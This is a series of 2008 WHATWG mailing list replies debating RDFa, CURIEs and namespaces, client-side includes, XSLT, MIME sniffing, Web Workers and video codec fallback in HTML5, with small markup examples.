Re: [whatwg] RDFa Features
I have to repeat Ian's question now: what happens when the server with a custom vocabulary definition goes down? Does it take a part of the semantic Web down along with it? Interestingly enough, ape-compatible operating systems (guess which) do not provide any CURIEs (soft links)* for file folders (directories). You have to laboriously navigate through the file system hierarchy or handle lengthy paths to locate the document you need. Is there something to it? Chris *All right, I was cheating. But only a little. Folder aliases/directory shortcuts are supported but you cannot have anything appended to them without dereferencing them first. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Manu Sporny Sent: Wednesday, August 27, 2008 6:57 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] RDFa Features Namespaces are difficult for people to grasp because most technical people don't ground the student with a solid example of a namespace - the URI or files within file folders. [snip] We are strongly suggesting that the document that is dereferenced have a machine readable (RDF vocabulary) and human readable (human explaination of vocabulary and all terms). Take a look at the following vocabulary for an example of what should be at the end of an RDFa vocabulary link: http://purl.org/media/video#Recording The vocabulary term above is dereference-able and if you put the term into a web browser, you will get both a machine-readable and human-readable definition of that term. Contrast that functionality with the following as a namespaced vocabulary term that you cannot dereference:
Re: [whatwg] RDFa statement consistency
HTML5 is too crucial as a technology to allow arbitrary experimentation. I would rather wait for a consistency checker to exist, at least approximately and conceptually, before having alternate content streams in HTML. Maybe that is just me. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Manu Sporny Sent: Thursday, August 28, 2008 11:06 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] RDFa statement consistency Kristof Zelechovski wrote: I think RDFa has already happened: you know what it is and how to use it. Yes, you are correct - RDFa has, more or less, already happened. It will be an official W3C standard in the next couple of months and will be supported in XHTML1.1 and XHTML2. Some are currently working to get it integrated into a new HTML4 DTD as well. No putting the semantic genie back in the bottle. :) You can embed it in XHTML. Why is having it in HTML necessary for creating statistical models? I was speaking generally in that case because I thought you were speaking generally... this seems to have caused confusion. Apologies for that. If we are to be very specific, you do not /need/ RDFa attributes in HTML5 to create statistical semantic models. You could build the same models from all of the HTML4+RDFa, XHTML1.1+RDFa, and XHTML2 documents out there. It would also be easier to check those documents for NLP/semantic correctness with the RDFa markup embedded in the document. Statistical models are just one approach among the many that would be used to perform NLP correctness verification. You would not be able to depend solely on statistical models. So while you are technically correct, not having any sort of robust semantic expression mechanism in HTML5 deprives the content from having multiple paths to validating the document semantics: - The page's NLP based semantic model verified against RDFa model. - The page's Statistical model used to verify parts of the RDFa model. -- manu -- Manu Sporny President/CEO - Digital Bazaar, Inc. blog: Bitmunk 3.0 Website Launches http://blog.digitalbazaar.com/2008/07/03/bitmunk-3-website-launches
Re: [whatwg] RDFa Features
Ian's question was about what happens when it goes down forever, or gets taken over, intercepted, squatted, spoofed or redirected because of a malicious DNS. I should have known better how to ask it. The browser cache cannot handle these cases. Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Thursday, August 28, 2008 11:33 PM To: Kristof Zelechovski Cc: 'Manu Sporny'; whatwg@lists.whatwg.org Subject: Re: [whatwg] RDFa Features Kristof Zelechovski wrote: I have to repeat Ian's question now: what happens when the server with a custom vocabulary definition goes down? Does it take a part of the semantic Web down along with it? If it's a popular vocabulary, it's probably been cached appropriately. If it's an edge-case vocabulary previously unseen, some small # of applications can't look up the meaning of attributes during the downtime. But parsing can still happen, RDF graphs can still be created, etc... A vocab whose host goes down regularly will likely not be used often. Selection of the fittest. -Ben
Re: [whatwg] RDFa Features
Taking your argument to the extreme, the worst malicious DNS would be the one that consistently returns NXDOMAIN. I am afraid this is not the case. Targeted attacks are actually more harmful, as you have correctly pointed out. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ben Adida Sent: Thursday, August 28, 2008 11:46 PM To: Kristof Zelechovski Cc: whatwg@lists.whatwg.org; 'Manu Sporny' Subject: Re: [whatwg] RDFa Features Kristof Zelechovski wrote: Ian's question was about what happens when it goes down forever, or gets taken over, intercepted, squatted, spoofed or redirected because of a malicious DNS. Okay, let's get rid of a few cases. Malicious DNS will break *everything* if you don't have DNSSEC. Google isn't Google, none of your lookups are trustworthy, etc... You're effectively saying what if the web breaks completely? Well then, there's no web metadata, but there's no web either, so what's the point.
Re: [whatwg] RDFa statement consistency
It seems you believe in code generators. I do not share your belief. A comment Do not touch --- generated code means to me the formal language used is at fault and that I should rather find another language to use. (Unless we are talking about a secondary form, of course, but what is the primary form then?) Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Thursday, August 28, 2008 11:55 PM To: Anne van Kesteren Cc: Kristof Zelechovski; [EMAIL PROTECTED]; 'Manu Sporny' Subject: Re: [whatwg] RDFa statement consistency though I agree with others that the complexity (lengthy URIs, qname/curie cruft) is an issue. Especially given the copy paste authors you want to enable this for, down the road. I'm confused. CopyPaste is meant to abstract out the complexity for simple web publishers. -Ben
Re: [whatwg] RDFa statement consistency
They want the xmlns declaration on a DIV provided by the wizard, not on the HTML element. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Anne van Kesteren Sent: Friday, August 29, 2008 12:19 AM To: Ben Adida Cc: Kristof Zelechovski; 'Manu Sporny'; [EMAIL PROTECTED] Subject: Re: [whatwg] RDFa statement consistency On Thu, 28 Aug 2008 23:55:07 +0200, Ben Adida [EMAIL PROTECTED] wrote: Anne van Kesteren wrote: Especially given the copy paste authors you want to enable this for, down the road. I'm confused. CopyPaste is meant to abstract out the complexity for simple web publishers. The point is that the Web author would most likely forget the namespace indirection: html xmnls:foo=bar ... p property=foo:baz ... /p
Re: [whatwg] RDFa Features (was: RDFa Problem Statement)
Has anyone considered having an URI in an entity in order to avoid typing it over and over? e.g. !DOCTYPE html !ENTITY myVocab http://www.example.com/vocab/; And later Property=myVocab;myPred? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Smylers Sent: Wednesday, August 27, 2008 3:33 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] RDFa Features (was: RDFa Problem Statement) So that is one disadvantage of URIs: they are long. In fact they are so long that people have gone to the bother of inventing additional syntax to avoid having to write them out.
Re: [whatwg] RDFa Features (was: RDFa Problem Statement)
You cannot support both CURIEs and URLs. What happens when someone declares xmlns:http? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Manu Sporny Sent: Wednesday, August 27, 2008 4:50 AM To: Ian Hickson Cc: WHAT-WG; [EMAIL PROTECTED] Subject: Re: [whatwg] RDFa Features (was: RDFa Problem Statement) prefix short-hand via CURIEs This is definitely not better. I don't know where you're coming from since you haven't elaborated on that statement nor given a link to a document explaining your thought process. Since you haven't done so, all I can do is shoot in the dark as to what your issue with CURIEs might be... Let me first start with why we have this URL short-hand (aka: CURIEs) in the first place. It is a feature that helps web authors and others that are writing this stuff by hand to refer to long URLs in an easy way. This means that the following: div about=#thunder typeof=http://purl.org/media/video#Movie; b property=http://purl.org/dc/terms/title;Tropic Thunder/b /div can be written like so, when using CURIEs: div about=#thunder typeof=video:Movie b property=dcterms:titleTropic Thunder/b /div all one must do to enable CURIEs, is to define the prefixes at any DOM element that is higher in the tree, like so: div xmlns:video=http://purl.org/media/video#; xmlns:dcterms=http://purl.org/dc/terms/; ... I can already hear the screams of protest on this list, as I understand this to be the one of the most evil things that you can do in the WHATWG group. :) We have been discussing an alternate way of expressing prefixes, like so: div prefix=video=http://purl.org/media/video#; The @prefix attribute above would take a space-separated list of prefixes as CDATA, which could address one of the issues that the HTML5 community has with the CURIE proposal. However, I believe that we are far from discussing this at the present time - the WHATWG would have to acknowledge that web semantics is a problem they are interested in addressing with HTML5. Perhaps you could outline the reasons that the HTML5 community is so allergic to the concept of URL-short-hand using prefix mapping in HTML documents? I ask out of curiosity and because I have never heard the whole story from the WHATWG's perspective.
Re: [whatwg] RDFa Basics Video (8 minutes)
It is doubtless that semantic networks are a valuable tool in natural language processing and in reasoning about actions. However, having semantic networks and plain text as interleaved alternative streams of the same content, which is what the demonstration shows, seems to be too vulnerable and error-prone, especially when there is no validator at hand that could verify that both streams convey the same information. span about=#jane instanceof=foaf:Person property=foaf:name Jane/span span about=#jane property=foaf:loves resource=#mac hates/span span about=#mac instanceof=foaf:Person property=foaf:name Mac/span . Ugh. That really hurt. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Manu Sporny Sent: Wednesday, August 27, 2008 5:10 AM To: WHAT-WG Subject: [whatwg] RDFa Basics Video (8 minutes) Here's a quick 8 minute RDFa Basics video for those of you that are not familiar with how RDF and RDFa work. I'm posting this in an attempt to bring those that are unfamiliar with these concepts up to speed. RDFa Basics (8 minutes) http://www.youtube.com/watch?v=ldl0m-5zLz4
Re: [whatwg] RDFa Basics Video (8 minutes)
We have two options for having both human-readable and machine-readable information in a document: write the structure and generate the text or write the text and recover the structure. At the very least, if you insist on having both, there must be a mechanism to verify that they are consistent. Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Wednesday, August 27, 2008 5:28 PM To: Kristof Zelechovski Cc: 'Manu Sporny'; 'WHAT-WG' Subject: Re: [whatwg] RDFa Basics Video (8 minutes) Kristof Zelechovski wrote: seems to be too vulnerable and error-prone You're basing this on your impression. The demos that we've been working on, and the ability with which folks are able to mark up their pages using FOAF, shows that this isn't all that error-prone at all. You clearly have a strong aversion to combining machine- and human-readable data, and that is your preference. But that combination is *exactly* what a number of us absolutely need, because the idea of building two separate webs, one for humans and one for programs, misses a tremendous opportunity. We need to connect what people see on the screen (I'd like to use *this* song) with the structured data that comes with it (license, creator, title, description, duration, sample rate, etc...). Almost all the time, the data we want is *already* in the HTML, just not marked up in a way that can be machine-parsed. All we're trying to do is add just enough markup to have it be parsed, generically, by browsers and search crawlers. -Ben
Re: [whatwg] RDFa Features
This amounts to saying that URLs take precedence over CURIEs and CURIEs can be enclosed in brackets in case of any ambiguity. This sounds ridiculous given the weight you put on avoiding ambiguities and name clashes. Since the author does not control the URL scheme registration process, he can never be sure that a particular prefix is safe, therefore using unsafe CURIEs is just asking for trouble. However, Manu's examples DO NOT use safe CURIEs, nor do any examples I have seen on this discussion. Good heavens!~ Chris -Original Message- From: Julian Reschke [mailto:[EMAIL PROTECTED] Sent: Wednesday, August 27, 2008 5:33 PM To: Kristof Zelechovski Cc: 'Manu Sporny'; 'Ian Hickson'; 'WHAT-WG'; [EMAIL PROTECTED] Subject: Re: [whatwg] RDFa Features Kristof Zelechovski wrote: You cannot support both CURIEs and URLs. What happens when someone declares xmlns:http? http://www.w3.org/TR/curie/#sec_2.2.. BR, Julian
Re: [whatwg] RDFa Basics Video (8 minutes)
Your markup means Kristof is the creator but the text displayed is just Kristof. It is incomplete; the human reader will not know what it means. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ben Adida Sent: Wednesday, August 27, 2008 5:38 PM To: Kristof Zelechovski Cc: 'WHAT-WG'; 'Manu Sporny' Subject: Re: [whatwg] RDFa Basics Video (8 minutes) Consider: h2 property=dc:creatorKristof/h2 The creator string Kristof is written only once, and plays both roles.
Re: [whatwg] RDFa Basics Video (8 minutes)
Well, that sounds better. What makes me uneasy is that objects are indeed taken from the text but predicates are in the attribute values and therefore they must be duplicated to make a sentence. Perhaps the explanation is that the objects vary and the predicates are fixed. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Toby A Inkster Sent: Wednesday, August 27, 2008 6:15 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] RDFa Basics Video (8 minutes) I'm not surprised it hurt - that's an overly verbose way of expressing that data. p about=#jane span property=foaf:nameJane/span hates span rel=foaf:loves span about=#mac property=foaf:nameMac/span /span /p
Re: [whatwg] RDFa Problem Statement (was: Creative Commons Rights Expression Language)
Web browsers are (hopefully) designed so that they run in every culture. If you define a custom vocabulary without considering its ability to describe phenomena of other cultures and try to impose it worldwide, you do more harm than good to the representatives of those cultures. And considering it properly does require much time and effort; I do not think you can have that off the shelf without actually listening to them. In a way, complaining that the Microformats protocol impedes innovation is like saying 'we are big and rich and strong, so either you accommodate or you do not exist'. Not that I do not understand; it is straightforward to say so and it happens all the time. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Manu Sporny Sent: Tuesday, August 26, 2008 3:50 AM To: Ian Hickson Cc: WHAT-WG; [EMAIL PROTECTED] Subject: Re: [whatwg] RDFa Problem Statement (was: Creative Commons Rights Expression Language) The Microformats community, and all communities like it, require a group of people to come together, collaborate and create a standard vocabulary to express ALL semantics. A somewhat strained analogy would be bringing in representatives from all of the cultures of the world and having them agree on a universal vocabulary. It is an untenable prospect, there is too much diversity in the world to agree on one master vocabulary. This is, however, the approach that Microformats has taken, for better or worse. When you do not scope vocabularies, like the Microformats community has chosen to do, you force new vocabulary development through a design bottleneck. This isn't a theoretical bottleneck, it is one that we deal with each day in the Microformats community. The RDFa approach is to remove this vocabulary development bottleneck by addressing the problem of creating a method of semantics expression. The web has always relied on distributed innovation and RDFa allows that sort of innovation to continue by solving the tenable problem of a semantics expression mechanism. Microformats has no such general purpose solution. In short, RDFa addresses the problem of a lack of a standardized semantics expression mechanism in HTML family languages. RDFa not only enables the use cases described in the videos listed above, but all use cases that struggle with enabling web browsers and web spiders understand the context of the current page. -- manu -- Manu Sporny President/CEO - Digital Bazaar, Inc. blog: Bitmunk 3.0 Website Launches http://blog.digitalbazaar.com/2008/07/03/bitmunk-3-website-launches
Re: [whatwg] RDFa
Mission accepted. My shot: span class=attributed.creative-commons.org object type=image/jpeg data=image.jpg /object small by span class=creator.creative-commons.org Ben Adida/span /small /object /span (Note that you could rather put such information into EXIF comment for the image). Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Saturday, August 23, 2008 1:43 AM To: Ian Hickson Cc: Dan Brickley; Kristof Zelechovski; Tab Atkins Jr.; Bonner, Matt; Henri Sivonen; [EMAIL PROTECTED] Subject: Re: [whatwg] RDFa Ian Hickson wrote: It's not entirely clear to me what the requirements are here, but if one wanted to be able to give verb-object pairs for a remote page, then one could do something like this: span class=annotation.example.org a href=ball.htmlMy Favorite Ball/a by span class=author.example.comDewey/span, published by span class=publisher.example.comDog Books/span /span This is quite contrived, precludes naturally written HTML, and is good only for a small subset of use cases. How would you point to the creator of an image? Likely again with some ad-hoc structure that wouldn't be the same parsing model as the example you give above.
Re: [whatwg] RDFa
It seems to me identification and description of various entities is best
achieved with LDAP which is hierarchical by design. Why wasn't LDAP adopted
for the purpose, given that it is older, widely used and well understood?
Chris
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Dan Brickley
Sent: Saturday, August 23, 2008 5:17 PM
To: [EMAIL PROTECTED]
Cc: Ben Adida; [EMAIL PROTECTED]
Subject: Re: [whatwg] RDFa
DC.creator.corporateName.1
Canterbury Archaeological Trust
DC.creator.phone.1
+44 227 462062
DC.creator.personalName.2
Paul Miller
DC.creator.affiliation.2
Archaeology Data Service
...this expresses name, affiliation and contact information for a number
of contributors to a work. Another example describes several
contributors along with their roles (actor, director, etc). Again the
attribute/value representations contained numeric indexes
('DC.creator.role.9') to disambiguate which individual was being described.
[snip]
Actually we can do a fair bit more than simply have human readable
strings. For example from the CC case, we've got a sub-property
relationship between cc:license and dc:license. RDF often (more often,
even) has relationships amongst classes too, and between classes and
properties. So for example, the SIOC vocabulary defines a class
sioc:User as a subclass of foaf:OnlineAccount; this is mechanically
evident from http://rdfs.org/sioc/ns# similarly,
http://trac.usefulinc.com/doap defines the DOAP vocabulary, schema here
- http://usefulinc.com/ns/doap# (webserver misconfigured re mimetype
right now). DOAP defines a class doap:Project that subclasses FOAF's
'Project' class, and which comes with a number of properties describing
opensource software projects. Again this is mechanically evident. As the
ccREL paper explains, and I can confirm w.r.t. FOAF, it is very useful
to allow related projects to define related classes and properties but
manage their evolution separately. It's a strategy for making
incremental progress without a single project/organization carrying the
burden of total coordination. Edd and friends in the DOAP project, for
example, can keep developing new properties for describing projects.
Elsewhere in the Web, we can be annotating the URI for 'foaf:Project'
eg. with translations.
Re: [whatwg] 2.7.4. Content-Type sniffing
GNU libmagic used by the command line utility file can be used for content-type sniffing as well. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mark Pilgrim Sent: Friday, August 22, 2008 4:51 AM To: whatwg@lists.whatwg.org Subject: [whatwg] 2.7.4. Content-Type sniffing The spec has a note saying I'd like to add types like MPEG, AVI, Flash, Java, etc, to the above table. http://www.garykessler.net/library/file_sigs.html seems to have an up-to-date list of many file signatures, including SWF (43 57 53), AVI (52 49 46 46 xx xx xx xx 41 56 49 20 4C 49 53 54), Java class files (CA FE BA BE), MPEG files (00 00 01 Bx), and so on. Cheers, -Mark
Re: [whatwg] Creative Commons Rights Expression Language
12. DOCTYPE declarations have to use prefixes where the corresponding namespaces are yet undeclared. The same problem affects external CSS. This effectively fixes the prefixes, making the redirection to the URL redundant. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Henri Sivonen Sent: Friday, August 22, 2008 9:51 AM To: Ben Adida Cc: Tab Atkins Jr.; WHAT-WG; [EMAIL PROTECTED]; Dan Brickley; Bonner, Matt; Ian Hickson Subject: Re: [whatwg] Creative Commons Rights Expression Language Here's what bothers me about namespaces: 1) I need write namespaces URIs several times a day, but the URIs aren't memorable. Mistyping an NS URI would waste even more time as bugs than looking URIs up for copying and pasting, so I look them up for copying and pasting, and it's a huge waste of time. 2) The indirection layer from prefix to URI confuses people. 3) Namespaces not inheriting to attributes confuses people. (I have had to give a crash course in how namespaces work on W3C telecons and f2f meetings! Others have had to do it as well. This point is so confusing that people whose job is working on Web specs get it wrong. I've been told about a professor teaching a class about XML who got it wrong.) 4) Instead of comparing names against a string literals, you have to compare two datums against two literals. That is, instead of doing foo-bar.equals(name), you have to do http://www.example.com/2008/08/namespace# .equals(uri) bar.equals(localName). 5) Removing uri,local pairs from XML parsing context makes it hard to write the full name in a compact form. Witness the NSResolver complications with XPath and Selectors DOM APIs. 6) That the prefix is semantically not important confuses people who go and write uninteroperable software thinking that they should be comparing the prefix instead of the URI. 7) The design of namespaces considers parsing. It doesn't consider serialization. Writing an XML serializer that doesn't suck isn't trivial, and one will spend most of the development time on dealing with Namespaces. (The prefixes aren't important but people still have aesthetic opinions about how they should be generated...) 8) Namespaces dropped the HTML ball a decade ago letting the HTML and XML DOMs diverge. 9) Namespaces stuff their syntax into attributes as opposed to having syntax on their own meaning that certain magic attribute names need blacklisting both in parsing and in serialization. 10) Namespaces slow down parsing. (By over 20% with Xerces-J and the Wikipedia front page!) 11) I've spent *a lot* of time writing code that is Namespace-wise excruciatingly correct. Yet, Namespaces have never actually solved a problem for me. My software developer friends complain to me about how Namespaces cause them grief. No one can remember Namespaces solving a real problem. It's like feeding a white elephant.
Re: [whatwg] Creative Commons Rights Expression Language
Can't you just embed your XML metadata in a SCRIPT element? Chris
Re: [whatwg] several messages about tables and related subjects
The advantage of having an attribute referring to the current column of every table element is that it is easier to check that the right data are the right column. Columns are filled sequentially but the exact position in the sequence is accidental and meaningless in most cases. I tend to put the column keyword into the title attribute; this allows me to verify that the keywords are in the right order. This is verbose but it greatly improves source code readability. I think the abbr attribute could be used for this purpose as well (repeated on every cell). What do you think? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Thursday, August 21, 2008 11:16 AM To: Tab Atkins Jr. Cc: whatwg List Subject: Re: [whatwg] several messages about tables and related subjects On Mon, 24 Mar 2008, Tab Atkins Jr. wrote: TH and TD * abbr (I think that's supported by screen readers, but need to verify) I don't really see that these attributes actually help anyone. I don't have a screen reader to verify, but afaik abbr= is used to provide a shortened form of the header when it is spoken aloud repeatedly. Leaving it out won't *hurt* anything, but the annoyance of hearing a large bit of header repeated over and over again when the table is complex enough to *need* a regular reminder would be enough, I think, for abbr= to be considered to help people. I use abbr= to this effect in my own tables. I understand the intent, but wouldn't it be better for the user agent to automatically abbreviate the table headers, for example by only saying the first few syllables of the first bit of unique text in the relevant headers once it has been said several times? -- Ian Hickson U+1047E)\._.,--,'``.fL http://ln.hixie.ch/ U+263A/, _.. \ _\ ;`._ ,. Things that are impossible just take longer. `._.-(,_..'--(,_..'`-.;.'
Re: [whatwg] Creative Commons Rights Expression Language
If I understand it correctly, we do not have a problem with the colon as a namespace separator. Our problem is that a:x sometimes means the same as b:x and there is no reasonable way to make legacy browsers support this. Different URLs, OTOH, are not expected to mean the same thing even if one is an alias for another. Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Thursday, August 21, 2008 8:53 PM To: Dan Brickley Cc: Tab Atkins Jr.; Bonner, Matt; WHAT-WG; Ian Hickson; [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: [whatwg] Creative Commons Rights Expression Language Namespaces are an anti-pattern, really? Says who? The web is inherently namespaced. Everything you go to is scoped to a URL prefix. There isn't one Paris or one New York, there is wikipedia/paris, and nyc.gov/NewYork. So is it the : that bothers you? Is that really relevant?
Re: [whatwg] Creative Commons Rights Expression Language
I was trying to explain the rejection of namespaces in general because it is a general decision. It is not enough to make sure this particular use case does not cause problems. AFAIK, you can make a legacy browser that supports custom elements and scripting to display a progress bar. This probably means you partially right: Lynx, NCSA Mosaic and MacWeb cannot render a progress bar element. Chris -Original Message- From: Ben Adida [mailto:[EMAIL PROTECTED] Sent: Thursday, August 21, 2008 9:36 PM To: Kristof Zelechovski Cc: 'Dan Brickley'; 'Tab Atkins Jr.'; 'Bonner, Matt'; 'WHAT-WG'; 'Ian Hickson'; [EMAIL PROTECTED] Subject: Re: [whatwg] Creative Commons Rights Expression Language Kristof Zelechovski wrote: If I understand it correctly, we do not have a problem with the colon as a namespace separator. Our problem is that a:x sometimes means the same as b:x and there is no reasonable way to make legacy browsers support this. But... legacy browsers have no way to display a Progress Bar either, right? RDFa does *not* affect how something is rendered. It just tells you what portions of the page mean what exactly (this is a license, this is a tag, etc...) So we're okay if legacy browsers don't understand it, they can simply ignore it. In fact, even new browsers can ignore RDFa, leaving the job to an extension. But of course, everyone is much better off if RDFa can be validated in HTML/XHTML. -Ben
Re: [whatwg] Scripted querying of video capabilities
Only the user that actually encounters a Web site deficiency should report it to the creator/owner (assuming they provided a reverse link). Otherwise such a report should be ignored as a supposition. Why should browser vendors bother that some pages do not display correctly in other browsers? This is a validator's job, and a validator is an authoring tool. That would mean supporting your competitor, wouldn't it? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of timeless Sent: Wednesday, August 20, 2008 11:40 AM To: WHATWG List Subject: Re: [whatwg] Scripted querying of video capabilities footnote: if someone's annoying/evil and only provides one source, then yes, bad things will probably happen. Could i put in a plea for browsers to consider flagging this site isn't nice, it probably won't work if you visit it with another device, you should complain to the content provider. if possible, useragents should be encouraged to encourage their users to demand more availability of content in more formats :).
Re: [whatwg] window.onerror -ancient feature needs upgrade
A load error occurs when the document cannot be loaded. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith Sent: Wednesday, August 20, 2008 4:08 AM To: Ian Hickson Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] window.onerror -ancient feature needs upgrade On Tue, Aug 19, 2008 at 6:16 PM, Ian Hickson [EMAIL PROTECTED] wrote: Do you mean JS errors or load errors? A useful global error handler would catch any uncaught, thrown Script Error or raised DOMException. What load errors did you have in mind?
Re: [whatwg] Client-side includes proposal
Publishers who publish commercial content on physical media are rarely interested in having their content repackaged by someone else as they see fit. This is not very pleasant of course; however, you could possibly try to solve your problem by asking the vendor for a license to repackage their content. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of timeless Sent: Wednesday, August 20, 2008 12:16 PM To: WHAT working group Subject: Re: [whatwg] Client-side includes proposal I've used a number of CDs which contained encyclopedias, dictionaries, medical and legal references. If those were shipped as html content w/ clever json indexes, then i could add my own application later to read it. If it's some binary, then I'm forced to trust the binary and have no access to the data. That said. I don't know that there's anything in this specific request that should actually be needed beyond the inline iframe feature
Re: [whatwg] Client-side includes proposal
I admit XSLT is heavy and it causes a significant rendering slowdown in the browser. This is not a problem because the XSLT processor runs on the publisher's machine once each time new content gets published - authoring that content would probably take much more time than publishing it anyway. I do not agree the problem is simple. A document transformation is not simple and inclusion is a simple special case; however, I am afraid providing a specially crafted solution for every simple case you might need is feature creep. Once you have simple document inclusion, you would probably find out you would appreciate something more sophisticated. BTW, it is also possible to use entities for document fragments in XHTML. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Zac Spitzer Sent: Tuesday, August 19, 2008 3:38 PM To: [EMAIL PROTECTED] Cc: WHAT working group; Shannon; Ian Hickson Subject: Re: [whatwg] Client-side includes proposal XML or XLST is too heavy, simple problem, simple solutions
Re: [whatwg] Scripted querying of video capabilities
No, no, and no. Author's POV: Mass complaints about _supposedly_ incompatible Web content from incompetent end users would only cause me, as the author, to file a complaint with the browser vendor. The browser should not pretend it is omniscient and it can teach everyone around. Vendor's POV: Browser vendors can and should agree on the basic constructs and provide the relevant publisher's documentation for the good of the Web; advertising the competitors' products would be an unreasonable requirement. User's POV: I am unwilling to help my browser vendor get the page that works for me display correctly in another product I do not intend to use. The warning is obtrusive, it warns about something immaterial and it bears a slight resemblance to a chain letter. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of timeless Sent: Wednesday, August 20, 2008 2:29 PM To: WHATWG List Subject: Re: [whatwg] Scripted querying of video capabilities On Wed, Aug 20, 2008 at 1:52 PM, Kristof Zelechovski [EMAIL PROTECTED] wrote: Only the user that actually encounters a Web site deficiency should report it to the creator/owner (assuming they provided a reverse link). Otherwise such a report should be ignored as a supposition. mass complaints work better. Why should browser vendors bother that some pages do not display correctly in other browsers? for the good of the web. This is a validator's job, and a validator is an authoring tool. i highly doubt this will work. That would mean supporting your competitor, wouldn't it? can't we all get along and work for a better web? but yes, it would mean helping your own engine on another profile which might not support the same features.
Re: [whatwg] Client-side includes proposal
I have not bumped into any XSLT-related browser problems except for converting resource tree fragments to nodes which is unportable but it is needed in advanced applications only where you need recursion on document node construction. Anyway, my plan is to make the transformation a part of the publishing process, not a part of the rendering process; that is, you use your reliable XSLT driver to do the transformation and publish the result to the server. Clean, automatic and simple. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Shannon Sent: Monday, August 18, 2008 7:57 PM To: Kristof Zelechovski Cc: 'WHAT working group' Subject: Re: [whatwg] Client-side includes proposal Kristof Zelechovski wrote: Client-side includes make a document transformation, something which logically belongs XSLT rather than HTML. And what would the workaround for legacy browsers be? Chris You make good points but last I checked general browser and editor support for XSLT was abysmal. Everyone is saying its on their roadmaps though so maybe it will one day be reliable enough to use.
Re: [whatwg] Client-side includes proposal
Client-side includes make a document transformation, something which logically belongs XSLT rather than HTML. And what would the workaround for legacy browsers be? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Shannon Sent: Monday, August 18, 2008 8:34 AM To: WHAT working group Subject: [whatwg] Client-side includes proposal The proposal would work like this: --- Master Document --- html head titleInclude Example/title meta name=includes content=allow include src=global_head.ihtml /head body include src=header.ihtml include src=http://www.pagelets.com/foo.ihtml; include src=footer.ihtml /body /html --- Header.html --- div id=header h1Header/h1 /div
Re: [whatwg] WebWorkers vs. Threads
Sorry, I do not get it. Where does the value of (la) make it into
(e.message)?
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Aaron Boodman
Sent: Wednesday, August 13, 2008 10:04 PM
To: Shannon
Cc: WHAT working group; Kristof Zelechovski; Jonas Sicking
Subject: Re: [whatwg] WebWorkers vs. Threads
You're right that if you try to use workers like threads, you end up
with threads. A more message-passing style implementation is easier.
In particular you would not want to allow the worker to 'get' and
'set' individual variables, but pass it messages about work you would
like it to perform, and have it pass back messages about the result.
This is less flexible than threading but easier to reason about.
// main.js
var la = 0; // what is with this variable name?
var worker = createWorker(worker.js);
worker.port.addEventListener(message, function(e) {
la = parseInt(e.message);
alert(la);
}, false);
// worker.js
workerGlobalScope.port.addEventListener(message, function(e) {
workerGlobalScope.port.sendMessage(
someLongRunningFunction(parseInt(e.message)));
}, false);
Re: [whatwg] Scripted querying of video capabilities
All right, in that case I give up. It is plainly insane. The VIDEO element is for displaying movies, not for displaying funny messages that the user should install codec XYZ. If it cannot display the movie, it should display the fallback content provided. If the author wants the user to install the codec, she can put it into the fallback content explicitly. The downside is that the poster frame has to be dropped even if it can be displayed. Besides, there is no API to test whether the browser supports image/targa either. If we allow video support API, why not image support API as well? IMHO, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Chris Double Sent: Wednesday, August 13, 2008 12:46 AM To: Kristof Zelechovski Cc: WHATWG List; Tim Starling Subject: Re: [whatwg] Scripted querying of video capabilities On Wed, Aug 13, 2008 at 3:35 AM, Kristof Zelechovski [EMAIL PROTECTED] wrote: Falling back to another method of displaying media is possible without a dedicated media API. In this particular case, you can have a video element with an ogg source and an object running Cortado to display it. I don't believe this to be the case. See my previous message about this. There's one specific instance of it not working as far as I know: video src=foo.ogg objectfallback for Ogg playback using plugin/object /video A browser that supports video but not Ogg will not use the fallback object. Instead it will just give an error when loading the foo.ogg file. If some way of having this case work is supplied then a media sniffing API is possibly not needed. 